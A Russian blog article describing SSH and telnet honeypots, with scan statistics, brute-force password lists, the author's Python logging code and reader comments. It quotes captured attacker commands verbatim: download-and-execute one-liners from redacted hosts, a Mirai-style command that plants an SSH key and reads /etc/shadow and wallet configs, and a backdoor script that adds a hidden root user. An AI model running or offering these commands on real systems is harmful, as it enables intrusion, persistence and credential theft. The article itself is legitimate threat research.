Два года назад я написал статью, в которой настроил несколько простых SSH-ловушек и записал ходы сетевых злоумышленников. С тех пор произошли события, которые потенциально повлияли на поведение брутфорсеров. Стал ли интернет от этого более опасным местом?

Задавшись этим вопросом, я решил повторить эксперимент, сделав из выделенного сервера «ловушку» для всяких плохих ребят. В статье рассказываю, какие интерфейсы привлекают взломщиков, можно ли спрятаться на нестандартном порту и что будет, если оставить пароль по умолчанию. Под кат стоит провалиться хотя бы ради собранной статистики.

Помните, что доступ к «внутренностям» чужих систем без разрешения владельца — незаконное действие во многих странах, так что не стоит продумывать план мести горе-взломщикам, что попадутся в ваши сети.

Для подготовки статьи я использовал сервер конфигурации PL12-NVMe, установил Ubuntu 22.04. В качестве языка программирования — Python 3.10, а все библиотеки и фреймворки доступны публично. Исходный код моих решений — в конце статьи.

В тексте точные IP-адреса указывать я не будут. Только имена их автономных систем и стран, в которых находятся данные адреса согласно базе GeoLite2.

Молчаливое наблюдение


В прошлый раз я принял допущение, что протокол SSH на 22 порту является самой интересной целью для злоумышленников. Но действительно ли это так? Чтобы ответить на вопрос, необходимо представить, как действуют злоумышленники. В голову приходят два варианта:

  1. Злоумышленник сперва сканирует открытые порты, а уже потом действует по обстоятельствам.
  2. Некоторое программное обеспечение перебирает IP-адреса и «вслепую» подключается к серверу с использованием заданного протокола в надежде, что интересный порт открыт.

Логичный вопрос: как работают сканеры портов? Для проверки TCP-портов сканер отправляет SYN-запрос. Если в ответ приходит SYN-ACK, то порт открыт. Если RST, то порт закрыт. А если ничего не приходит, то брандмауер не пускает. С UDP-портами сложнее, так как сканеры отправляют пустые пакеты, которые не несут полезной нагрузки и игнорируются приложениями.

Это значит, что операционная система сервера обработает TCP-подключение или UDP-пакет вне зависимости от способа сканирования. Даже если в системе нет приложения, которое «сидит» и слушает на выбранном порту.

Любая программа, при наличии прав суперпользователя, может открыть «сырой» сокет (raw socket) и иметь доступ к двоичному представлению всех сетевых пакетов, которые обрабатываются системой.

import sys
import socket
from scapy.layers.inet import TCP, IP, UDP

# Открываем сырой TCP-сокет. Третий флаг позволяет выбрать TCP, UDP и IP
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

while True:
    data = s.recv(65536)
    p = IP(data)
    
    # Если пакет не принадлежит нашему адресу,
    # который задается первым аргументом командной строки,
    # то игнорируем этот пакет
    if p.dst != sys.argv[1]:
        continue
    
    # Получаем TCP или UDP-уровень пакета
    tcp: TCP = p.getLayer(TCP)

    # Для TCP-пакетов проверяем наличие флага SYN
    if tcp.flags != 0x2:
        continue

    # Получаем информацию о сканирующем:
    # p.src — IP-адрес

    # Получаем цель сканирования
    # tcp.dport — желаемый порт

    # Записываем куда-нибудь полученную информацию 

Этот простой код позволяет записывать попытки сканирования портов. Взаимодействия с сокетами в Python реализуется при помощи socket из набора стандартных библиотек. Для обработки пакетов я использовал scapy.


График сканирования TCP и UDP.

Однако данный метод имеет существенный недостаток. Для ведения корректной статистики сервер должен закрыть все порты на выбранном адресе. Я решил эту проблему путем назначения дополнительного IP-адреса и вынесения всех сервисов ОС с 0.0.0.0 на основной IP-адрес сервера. Также реализация на Python может не успеть за скоростью сетевого стека, но, к счастью, у меня такого не случилось.


Как и ожидалось, интерфейсы на TCP-портах привлекательнее: 97% всех сканирований приходится на TCP-порты. В среднем в минуту приходит от 10 до 30 SYN-запросов. В некоторых случаях наблюдались всплески до 500 запросов в минуту. Предполагаю, что это связано с ручным сканированием портов моего сервера.

Вот топ-10 наиболее популярных TCP-портов:

  1. 23 — telnet.
  2. 2222 — один из «альтернативных» неофициальных портов SSH.
  3. 80 — HTTP.
  4. 443 — HTTPS.
  5. 22 — SSH.
  6. 222 — еще один «альтернативный» порт SSH.
  7. 3389 — Windows Remote Desktop Protocol.
  8. 1433 — Microsoft SQL Server.
  9. 8080 — альтернативный порт для HTTP.
  10. 3306 — MySQL.

Сканирование UDP не пользуется особой популярностью, а частота сканирования не превышает пяти пакетов в минуту. Наиболее популярные UDP-порты — 123 (NTP), 5060 (SIP) и 53 (DNS). Эти три протокола имеют уязвимости, позволяющие провести усиление (amplification) DDoS-атак.

Как и ожидалось, самый искомый сервис — SSH. При этом (внезапно!) альтернативный порт 2222 популярнее официального 22 более чем в два раза. Значит, продолжим работать в направлении сбора информации.



Волшебный мир удаленного доступа


В прошлый раз я патчил OpenSSH-сервер, чтобы логин и пароль записывались в текстовый файл. Тогда мне показалось это достаточным, но сейчас я хочу полный контроль над SSH-сервером. Я хочу знать, откуда ко мне пришли, с каким логином, с каким паролем, были ли попытки зайти по ключу и сколько попыток за подключение делает нехороший человек. Для реализации этой задумки отлично подходит библиотека paramiko, которая реализует протокол SSHv2 на Python.

import paramiko

class LogServer(paramiko.ServerInterface):

    attempt: int

    def __init__(self, **kwargs):
        self.attempt = 0

    def get_allowed_auths(self, username: str) -> str:
        # Возвращаем разрешенные типы аутентификации. 
        # В данном случае – пароль и ключ
        # В этот момент можно успешное подключение от SSH-клиента
        return "password,publickey"

    def check_auth_none(self, username: str) -> int:
        return paramiko.common.AUTH_FAILED

    def check_auth_password(self, username: str, password: str) -> int:
        self.attempt += 1
        
        # Здесь можно записать номер попытки, логин и пароль

        # Задержку перед возвратом неудачи нужно делать самому
        time.sleep(3)

        return paramiko.common.AUTH_FAILED

    def check_auth_publickey(self, username: str, key: PKey) -> int:
        self.attempt += 1

        # Здесь можно сохранить отпечаток ключа, чтобы сравнивать потом
        # key.get_fingerprint().hex(":", 2)

        return paramiko.common.AUTH_FAILED

Сервер paramiko запускается поверх клиентского сокета, который создается функцией socket.accept.

# Cоздаем транспорт и меняем ему версию, чтобы легенда была убедительна
transport = paramiko.Transport(client)
transport.local_version = "SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2"
# Ключ можно создать командой ssh-keygen и указать его приватную часть
host_key = paramiko.RSAKey(filename="key")
transport.add_server_key(host_key)
# Запускаем сервер
server = LogServer()
transport.start_server(server=server)
transport.join()

Поддерживая легенду о неприступном сервере, я также создал telnet-сервер, который выводил экран логина от Ubuntu. К счастью, для telnet тоже есть своя библиотека telnetlib3.

По неустановленным причинам придуманное мной приглашение telnet побуждало злоумышленников отправлять только логин, но не пароль. Впрочем, я предположил, что telnet используется для IoT-устройств, которые могут иметь совершенно различные интерфейсы. Поэтому от telnet-сервера интересует только факт подключения и IP-адрес подключающегося. Для сбора статистики я разместил логирующий SSH-сервер на порты 22, 222 и 2222, а telnet-сервер — на 23 порт.


Последующие наблюдения подтвердили предположение. Для протокола telnet перебирается другой набор логинов, часть которых специфична для сетевого оборудования и IoT-устройств.


Легко заметить, что 2222 порт пользуется популярностью: стабильно 10-15 запросов в минуту. Вторым по плотности является telnet, интерес к которому более «рваный». На фоне лидеров всплески подключений к 22 порту выглядят несолидно, а найти на графике линию 222 порта — это и вовсе задача со «звездочкой».


Что касается распределения по миру, Китай укрепился в позициях и теперь создает 60% всех подключений — против 50% в прошлом году. Аналогично подросла Индия: с 2.6% до 15%.

В прошлый раз за 10 дней наблюдений был собран список из 1 311 IP-адресов. На этот раз список меньше: всего 480 адресов, несмотря на «допинг» в виде нестандартных портов и telnet. Тем не менее, китайцы обновили свой прошлый рекорд, и теперь топ попыток аутентификации с одного адреса выглядит так:

  1. AS4134 Chinanet — 25 576 попыток (+61%).
  2. AS14061 DIGITALOCEAN-ASN — 3 972 попытки.
  3. AS211252 Delis LLC — 3 429 попыток.

База логинов и паролей, в свою очередь, немного прохудилась: 1 366 логинов против 2 018 ранее и 28 501 пароль против 32 238. Так выглядит топ паролей:

  1. 123456 — 36%.
  2. 123 — 14%.
  3. qwerty123 — 13%.
  4. 12345678 — 5%.
  5. root — 3%.
  6. 111111 — 2%.
  7. admin — 2%.
  8. 1234 — 2%.
  9. 12345 — 2%.
  10. dbadmin — 2%.

Топ изменился несущественно: пароль 123456 все еще самый популярный ;) Иначе дело обстоит с парами логин-пароль. Два года назад наиболее популярными были пары, где логин и пароль совпадают. А сейчас — нет.

  1. root:qwerty123
  2. boris:123
  3. anna:123456
  4. vladimir:123456
  5. dbadmin:dbadmin
  6. root:123456
  7. root:root
  8. root:Aa123456
  9. root:P@ssw0rd
  10. root:12345

Особенный интерес вызывают пары с мест 2-4, ведь это не выглядит как распространенная комбинация.

В этот раз самый длинный пароль, который пришел из разных источников всего 36 символов, что в два раза меньше прошлого рекорда: A@0599343813A@0599343813A@0599343813.

Если снять ограничение, что пароль должен прийти с разных адресов, то рекорд будет в 100 символов. Но, кажется, это просто слепая ярость одного из «хакеров». Об этом я расскажу далее.


Теперь распределение по клиентам. 86% от всех подключений создает клиент SSH-2.0-Go. Похоже, авторы не беспокоятся об имени клиента и не подменяют его. 85% клиентов останавливаются после сотни неудачных попыток, и 98% клиентов в рамках одного подключения делают одну попытку. Рекорд — 10 попыток ввести пароль за одно подключение.

Желающих попасть на мой сервер достаточно. Значит, пора предоставить им эту возможность.

Горшочек идеального меда


В прошлый раз я принимал всех по любому паролю в рамках одной виртуальной машины, что привело к сражению нескольких программ и отразилось на качестве и количестве собранной информации. В этот раз я решил устроить аттракцион неслыханной щедрости: каждому зашедшему — по «виртуалке»!

Я хотел создать контролируемое окружения при помощи контейнеров и с использованием виртуальных машин. Для начала сделал выбор в пользу контейнеризации. Создаем легковесный образ Ubuntu 22.04 с wget, curl и sshd, со временем жизни 60 секунд:

FROM ubuntu:22.04
RUN apt update && apt install -y ssh wget curl && mkdir /run/sshd && echo "root:root" | chpasswd
COPY sshd_config /etc/ssh/sshd_config
ENTRYPOINT ["/bin/bash", "-c", "/usr/sbin/sshd -D & sleep 60"]

Жизненный цикл контейнера выглядит так:

  1. Злоумышленник подключается к SSH-серверу (paramiko) с каким-то паролем.
  2. Paramiko запускает контейнер и узнает его IP-адрес в локальной сети.
  3. Paramiko создает клиентское подключение к контейнеру и связывает потоки ввода-вывода между принятым подключением от злоумышленника и созданным подключением до контейнера. Таким образом paramiko-сервер становится SSH-прокси, который имеет возможность сохранять проходящие мимо байты.
  4. Контейнер выключается через 60 секунд вне зависимости от желания злоумышленника.

«Контейнерный» подход имеет недостатки, которые заметны человеку при подключении:

  1. В контейнере не работает systemd.
  2. Процесс с pid=1 не systemd или init, а подозрительный /bin/bash -c /usr/sbin/sshd -D & sleep 60.
  3. При переподключении заметно, что имя хоста изменилось.

Были опасения за безопасность, ведь злоумышленник получает root-доступ, а у контейнера нет такой же изоляции, как у виртуальной машины. При определенных условиях это может навредить хосту. Беглый поиск в интернете показал, что побег из контейнера возможен только при запуске контейнера в привилегированном режиме — либо с опцией SYS_ADMIN, либо при наличии управляющего сокета Docker внутри контейнера. Ничего такого я контейнеру не позволю — наоборот, ограничу в ресурсах до 2 ядер и 1 ГБ оперативной памяти.

Прежде чем перейдем к изучению «улова», я расскажу немного специфики SSH. При создании SSH-подключения клиент может запросить интерактивную оболочку (shell) или отправить одну команду на исполнение. Сервер paramiko может это различать.

# SSH запросит у сервера выполнение одной команды
ssh root@127.0.0.1 ‘wget http://example.com/totally-not-a-virus.sh’
# Запрос интерактивной оболочки
ssh root@127.0.0.2 

Потенциально это различие можно использовать для отделения точно автоматизированных атак от подозрительных, возможно, ручных действий.

За время наблюдения к моему серверу подключились 8 685 раз. Это принесло 21 уникальную команду и 56 интерактивных подключений. Самая популярная команда, выполненная 6,5 тысяч раз, поражает своей безобидностью:

uname -s -v -n -r -m

Это команду выполняет тот самый настойчивый ботнет с клиентом SSH-2.0-Go. Причем успех этой команды ни на что не влияет. Через несколько минут этот же клиент с того же IP-адреса придет с другой парой логин-пароль выполнять аналогичную команду.

Следующий по настойчивости с результатом в 800 выполнений — скрипт dred. Видимо, где-то рядом Фордж и это что-то из «ужастиков умников Уизли». Отчет VirusTotal.

uname -a;lspci | grep -i --color 'vga\|3d\|2d';curl -s -L http://[ДАННЫЕ УДАЛЕНЫ]/dred -o /tmp/dred;perl /tmp/dred


Вас тоже беспокоит этот «выброс»?

dred — это IRC-бот, написанный на perl для осуществления DDoS-атак. Причем в начале файла есть описание и инструкция. Удобно. Отдельно хочется отметить, что фраза Works on every system with PERL installed оказалась неправдой.

root@e838fe773823:/tmp# perl dred
Can't locate MIME/Base64.pm in @INC (you may need to install the MIME::Base64 module)

Аналогичный скрипт, только с другой версией и копирайтом, можно найти на просторах интернета.

Следующая по убыванию настойчивости команды для самоутверждения.

# команда выводит ok. Выполнена 273 раза
echo -e "\x6F\x6B"
# команда на скачивание ok.sh. Выполнена 132 раза
wget [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; curl -O [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c
# содержимое ok.sh
echo “nite_max was here”
uname -a

В самом конце упорности находятся команды, которые можно отнести к страшному ботнету mirai. Команды делятся на два типа: xml-подобный вывод для сбора информации и попытки заразить жертву.

Подобный сбор информации
mkdir -p /home/osmc/.ssh/ ; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF >> /home/osmc/.ssh//authorized_keys ; echo '<cmd7uname>'; uname -a ; echo '</cmd7uname><cmd7uptime>'; uptime ; echo '</cmd7uptime><cmd7w>'; w ; echo '</cmd7w><cmd7who>'; who ; echo '</cmd7who><cmd7last>'; last ; echo '</cmd7last><cmd7lastlog>'; lastlog ; echo '</cmd7lastlog><cmd7passwd>'; cat /etc/passwd ; echo '</cmd7passwd><cmd7shadow>'; sudo -n cat /etc/shadow ; echo '</cmd7shadow><cmd7authkey>'; cat /home/osmc/.ssh//authorized_keys ; echo '</cmd7authkey><cmd7lshome>'; ls -la /home ; echo '</cmd7lshome><cmd7psfaux>'; ps -faux ; echo '</cmd7psfaux><cmd7netstat>'; netstat -npta ; echo '</cmd7netstat><cmd7arpan>'; /usr/sbin/arp -an ; echo '</cmd7arpan><cmd7ifconfig>' ; /usr/sbin/ifconfig ; echo '</cmd7ifconfig><cmd7localconf>'; cat /home/ethos/local.conf ; echo '</cmd7localconf><cmd7remoteconf>' ; cat /home/ethos/remote.conf ; echo '</cmd7remoteconf><cmd7rclocal>' ; cat /etc/rc.local ; echo '</cmd7rclocal><cmd7claymorestub>'; cat /home/ethos/claymore.stub.conf ; cat /hive-config/rig.conf; cat /hive-config/wallet.conf ; cat /hive-config/vnc-password.txt ; echo '</cmd7claymorestub><cmd7claymorezstub>' ; cat /home/ethos/claymore-zcash.stub.conf ; echo '</cmd7claymorezstub><cmd7sgminerconf>' ; cat /var/run/ethos/sgminer.conf ; echo '</cmd7sgminerconf><cmd7iptables>' ; sudo -n iptables -S  && sudo -n iptables -t nat -S ; echo '</cmd7iptables><cmdcrontab>'; crontab -l; echo '</cmdcrontab>' ; exit


Отличительной особенностью этого ботнета можно считать его немногопарольность и примечательный клиент. Информацию собирает клиент SSH-2.0-OpenSSH_8.4p1 Raspbian-5+b1, а для попыток залогиниться он использует всего четыре пары логин-пароль:

  1. rokos:rokos. По умолчанию для ROKOS Core — биткоин-нода на «малинке»
  2. osmc:osmc. Пароль по умолчанию для медиацентра OSMC.
  3. root:libreelec. Пароль для первого входа для медиацентра libreelec.
  4. root:admin

Получается, что «малинка» ищет себе подобных и оставляет свой ключ, чтобы зайти позже. Другой заход Mirai — это попытки установить исполняемый файл.

# Версия 1
lscpu | grep "CPU(s):                " && echo -e "fKSRQZMyM4JX\nfKSRQZMyM4JX" | passwd && cd /tmp; wget http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; curl -s -O http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; chmod 777 cutie.x86_64; ./cutie.x86_64 x86h; rm -rf cutie.*

# Версия 2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ДАННЫЕ УДАЛЕНЫ]/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp [ДАННЫЕ УДАЛЕНЫ] -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g [ДАННЫЕ УДАЛЕНЫ]; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 [ДАННЫЕ УДАЛЕНЫ] ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *

Версия 1 имеет фиксированное имя cutie.x86_64, а вот версия 2 встретилась мне с разными именами как скриптов, так и исполняемых файлов. Особенно интересно, что версия 2 скачивает множество исполняемых файлов для разных архитектур.

c0r0n4x.sh:  Bourne-Again shell script, ASCII text executable
c0r0n4x.arm:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
c0r0n4x.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.ppc:  ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.sh4:  ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
c0r0n4x.spc:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
c0r0n4x.x86:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header

Отчет VirusTotal: раз, два, три.

В заключение остались единичные безобидные команды.

uname -s -m
cat /proc/uptime
uname -a || echo -
cat /etc/passwd
/ip cloud print
echo $(echo -n XSUCCESX && uname -a)

Теперь прикоснемся к прекрасному: к интерактивным сессиям.

Ручная работа


К сожалению, большая часть интерактивных сессий была автоматизирована. 40 запросов — это открытие сессии и отправка признака конца файла. Несколько из этих интерактивных сессий были открыты связкой root:honeypot и honeyhoney:pot — кажется, на той стороне разгадали мою задумку. Еще 9 — отправка файла через SCP следующего содержания.

enable
system
shell
sh
linuxshell
cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
cd /var/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

Затем еще четыре попытки отправки еще одного файла, который должен оставить бэкдор.

Скрипт
export HISTFILE=/dev/null
export HISTSAVE=/dev/null
unset HISTFILE
unset HISTSAVE

if ! type export >/dev/null 2>&1; then
	echo "ERROR: BADtype: export"
	exit
fi
if [[ -z $(ps -elf |wc -l) ]]; then
	echo "ERROR: BADps"
fi
if [[ "$(ps -elf |wc -l)" -le 4 ]]; then
	echo "ERROR: BADps"
	exit
fi

# bad shells
### not defined # echo "ERROR: BADshell"

if [[ ubuntu != "root" ]]; then
	if ! exec echo ubuntu |sudo -S su -c 'id -u'; then
		echo "ERROR: failed to get root"
		exit
	fi
fi
exec echo ubuntu |sudo -S su -c '
# super user
if [[ -z $(grep "^systemd:" /etc/passwd 2>/dev/null) ]]; then
	if ! echo "systemd:x:0:0::/root:/bin/bash" >> /etc/passwd; then
		echo "ERROR: failed to add user"
		exit
	else
			touch -r /bin/ls /etc/passwd
	fi
fi
if [[ -z $(grep "^systemd:" /etc/shadow 2>/dev/null) ]]; then
	if ! echo systemd:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359:::::: >> /etc/shadow; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/shadow
	fi
fi
# normal user
if [[ -z $(grep "^systemx:" /etc/passwd 2>/dev/null) ]]; then
	if ! echo "systemx:x:9090:9090::/home/systemx:/bin/bash" >> /etc/passwd; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/passwd
	fi
fi
if [[ -z $(grep "^systemx:" /etc/shadow 2>/dev/null) ]]; then
	if ! echo systemx:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359::::::  >> /etc/shadow; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/shadow
	fi
fi
if [[ -z $(grep ^systemx /etc/sudoers 2>/dev/null) ]]; then
	if ! echo "systemx	ALL=(ALL) ALL" >> /etc/sudoers; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/sudoers
	fi
fi
if [[ -z $(grep "^systemx:" /etc/group 2>/dev/null) ]]; then
	if ! echo "systemx:x:9090:" >> /etc/group; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/group
	fi
fi
echo [ДАННЫЕ УДАЛЕНЫ] > /etc/selfip
'


И только две интерактивные сессии были действительно интерактивными:

  1. SSH-2.0-PuTTY_Release_0.78 — AS6327 Shaw Communications Inc. (Канада)
  2. SSH-2.0-PuTTY_Release_0.78 — AS43289 Trabia SRL (Молдова)

В обоих случаях злоумышленник пытался вручную поставить майнер xmrig. Почему я решил, что это ручная работа? Злоумышленник использовал интерактивные текстовые редакторы vim и nano, которых не было в контейнере, и он решил их поставить. Причем установка текстовых редакторов сопровождалась перебором пакетных менеджеров.

Один человек зашел, чтобы оскорбить меня. AS4766 Korea Telecom, Республика Корея, клиент SSH-2.0-HELLOWORLD. Он выполнил следующую команду.

root@fb622ba2b5ab:~# echo -e '\x67\x61\x79\x66\x67\x74'
gayfgt

Вот шалунишка.

Страх и ярость


Внезапно оказалось, что злоумышленникам почему-то не нравится находить подобного рода ловушки. По крайней мере пользователь из AS38496 PT Cyber Network Indonesia, Индонезия, похоже, пришел в ярость от моего эксперимента.

Сперва он попытался создать около ста контейнеров за секунду. Видимо, ожидал, что это исчерпает ресурсы моего сервера, но чуда не случилось. Во-первых, потому что контейнеры сами по себе легковесные, а мой сервер имеет целых 100 ГБ оперативной памяти. А во-вторых, злоумышленник запустил «пустые» контейнеры, не запустив в них даже форк-бомбы.

Далее он нашел «соседние» IP-адреса из той же подсети и увидел там SSH-порты, которые не пускают, и начал усердно перебирать к ним пароль и вероятные уязвимости.

Расчет, видимо, был в том, что это «управляющие» порты, но, к счастью, это оказались ловушки из начала статьи. От разгневанного хакера я собрал интересный набор паролей:

  • 6PugPK5iEsR30Mj5rrkKdZucsbR7yy5GqpxbHX6zbdiNnUvqMQunInkvpF9uw1RLJzjfgX3qTqraLEwlqwYYGR6dY3NlKdJqBpxA — самый длинный пароль, 100 символов.
  • @^@^@^@^@^@^@^@^@^@^@^@^@^@^@btc@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^localhost@^@@ — второй по длине пароль, выглядит интересно.
  • Accepted host %s ip %s client_user %s server_user %s — не имею ни малейшего понятия почему это стало паролем.
  • Let me, teach you, the ancient method of Fu Thai ! — может, он хотел меня научить чему-то, но не оставил никаких контактов, так что его истинные намерения не ясны.
  • www.txwscx.comsritgyxf2sxy19831122zx — есть домен китайского сайта, но набор символов после домена явно случайный.

В моменте гнева злоумышленник создал хорошую статистику для Индонезии и своей автономномной системы в виде пары тысяч паролей с одного адреса. Однако в долгосрочной перспективе его действия затерялись на фоне методичных стараний из Китая, Индии и Нидерландов.

Другие сервисы


Ради развлечения я поставил также SMTP-сервер и веб-сервер, чтобы узнать, есть ли интерес к ним. И… нет.

За пять дней к SMTP-серверу обратились три раза с каким-то расширением SMTP, которое моя заглушка была не в состоянии разобрать.

К веб-интерфейсу подключались тоже нечасто — всего 50 раз за 4 дня. Большинство подключений сделал один IP-адрес из AS16509, США. Единственное, почему я вынес это в статью — необычные User-Agent, с которыми пришел сканер:

  • Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36
  • Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65
  • SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0
  • Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]
  • Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3
  • Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525
  • Opera/9.25 (Windows NT 6.0; U; en)
  • SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1

Конечно User-Agent — это всего лишь строчка, которая может быть любой. Но если предположить, что это не фальсификация, то у кого-то очень интересный проект.

Вам могут быть интересны эти тексты


   

Заключение


Мы предложили интернету беззащитный контейнер с SSH-сервером и узнали много очевидного, но интересного:

  1. Перенос SSH на необычный порт поможет спрятаться от нежелательного внимания, но только не на порт 2222 — это приведет к обратному результату.
  2. Сегодня ботнеты можно разделить на две категории: бессмысленные и аккуратные. Первые заполнят логи безуспешными попытками подобрать пароль, а в случае удачи ничего не сделают. Вторые же придут с паролями по умолчанию и в случае успеха оставят вредонос.
  3. За два года практически полностью «вымерли» злоумышленники, которые лишают владельца доступа к своему устройству. Фокус изменился с деструктивных операций на скрытность.
  4. Непопулярность других портов и протоколов не гарантирует безопасности от злоумышленников.

Исходный код моих поделок можно посмотреть на GitHub. При остром желании запустить аналогичную ловушку на своем сервере можно обратиться к cowrie.

Ну а если вы любите такие эксперименты и другую дичь, которую может творить руками разработчик, подписывайтесь на мой Telegram-канал. Я выделил день под мемы!

Комментарии (10)


  1. CCNPengineer
    13.09.2023 13:40

    у меня по странам такой расклад.

    http://143.47.186.246/access/20230302_country_sorted.txt

    United States,2024 Singapore,436 China,384 France,338 India,311 Russia,226 Germany,203 Vietnam,180 Brazil,170 Canada,154 Colombia,153 Thailand,125


  1. Alexeyslav
    13.09.2023 13:40

    лет 5 назад, SMTP порты сканировались со страшной скоростью, в основном с тех же китайских IP. Но, видимо, с тех пор когда публичная почта перешла преимущественно на веб-интерфейс, сканирование потеряло смысл.


    1. Hlad
      13.09.2023 13:40

      Скорее потому, что все перешли на SMTP с авторизацией, просто так спам-атаку уже не устроить.


      1. LevOrdabesov
        13.09.2023 13:40

        Ради развлечения я поставил также SMTP-сервер и веб-сервер, чтобы узнать, есть ли интерес к ним. И… нет.

        Видимо, есть какие-то критерии, вроде засвеченности доменов в спам-базах. Долбёжку в SMTP и HTTP(S) наблюдаю постоянную и неослабевающую; страны разные, но превалируют Нидерланды (Китай заблокирован превентивно, весь и наглухо ) и почему-то Мексика (оттуда попытки взлома крайне тупые), а по "провайдерам" – Digital Ocean, Linode и Tencent. Также в последние годы значительно активизировались "белые" сканеры типа shodan.io (блоклист , вдруг кому пригодится)


  1. JediPhilosopher
    13.09.2023 13:40
    +1

    У меня в веб-сервера долбятся постоянно, постоянно вижу попытки переборов паролей на всяких там /wp-admin и прочих популярных урлах от CMSок.


  1. checkpoint
    13.09.2023 13:40
    +2

    Я на своих хостах, мотрящих наружу, на порт 22/tcp ставлю tarpit, прикола ради.

    [1]. https://github.com/skeeto/endlessh


  1. khe404
    13.09.2023 13:40

    Идея интересная.
    Завести зоопарк ботов размером с интернет.
    У меня был случай, когда злоумышленники нашли уязвимость в апи сервера и долбили по ней без остановки на обед и выходные с разных адресов не взирая на результативонсть. Даже после полной блокировки всех участвующих в атаке IP атака продолжалась несколько месяцев. Никакие жалобы и обращения к провайдеру атакующих не имели никакого успеха.


    Исходя из логики описанных вами процессов — а именно отсутствие реакции многих ботов на удачное инфицирование. Говорит о том что хост жертвы может заноситься в базу данных, а это в дальнейшем может привести к тому что IP машины использованный в эксперименте будет испачкан и может подвергнуться более детальному долговременному воздействию.


    1. Firemoon Автор
      13.09.2023 13:40
      +1

      Жалобы провайдеру — это вообще интересный зверь.

      В статью это не попало, но я написал в техподдержку трех провайдеров и вот что произошло:

      1. В одном (Нидерланды) меня проигнорировали. Совсем и полностью.

      2. В другом (Россия) мне сказали, что заявка зарегистрирована, уровень техподдержки: 9/5, время ответа — 48 часов. Не ответили спустя неделю.

      3. В третьем (Франция) мне отправили заглушку, что разберутся в течение 24-48 часов. И через 24 часа отправили, что от меня мало данных. Им надо мое имя (это часть формы), журнал событий/лог (отправил) и юридическое обоснование почему моя жалоба должна мотивировать их к действиям. А раз этого нет, то заявка закрывается. Раскручивать их дальше на действия я не стал, чего бороться с мельницами.


      1. CCNPengineer
        13.09.2023 13:40
        +1

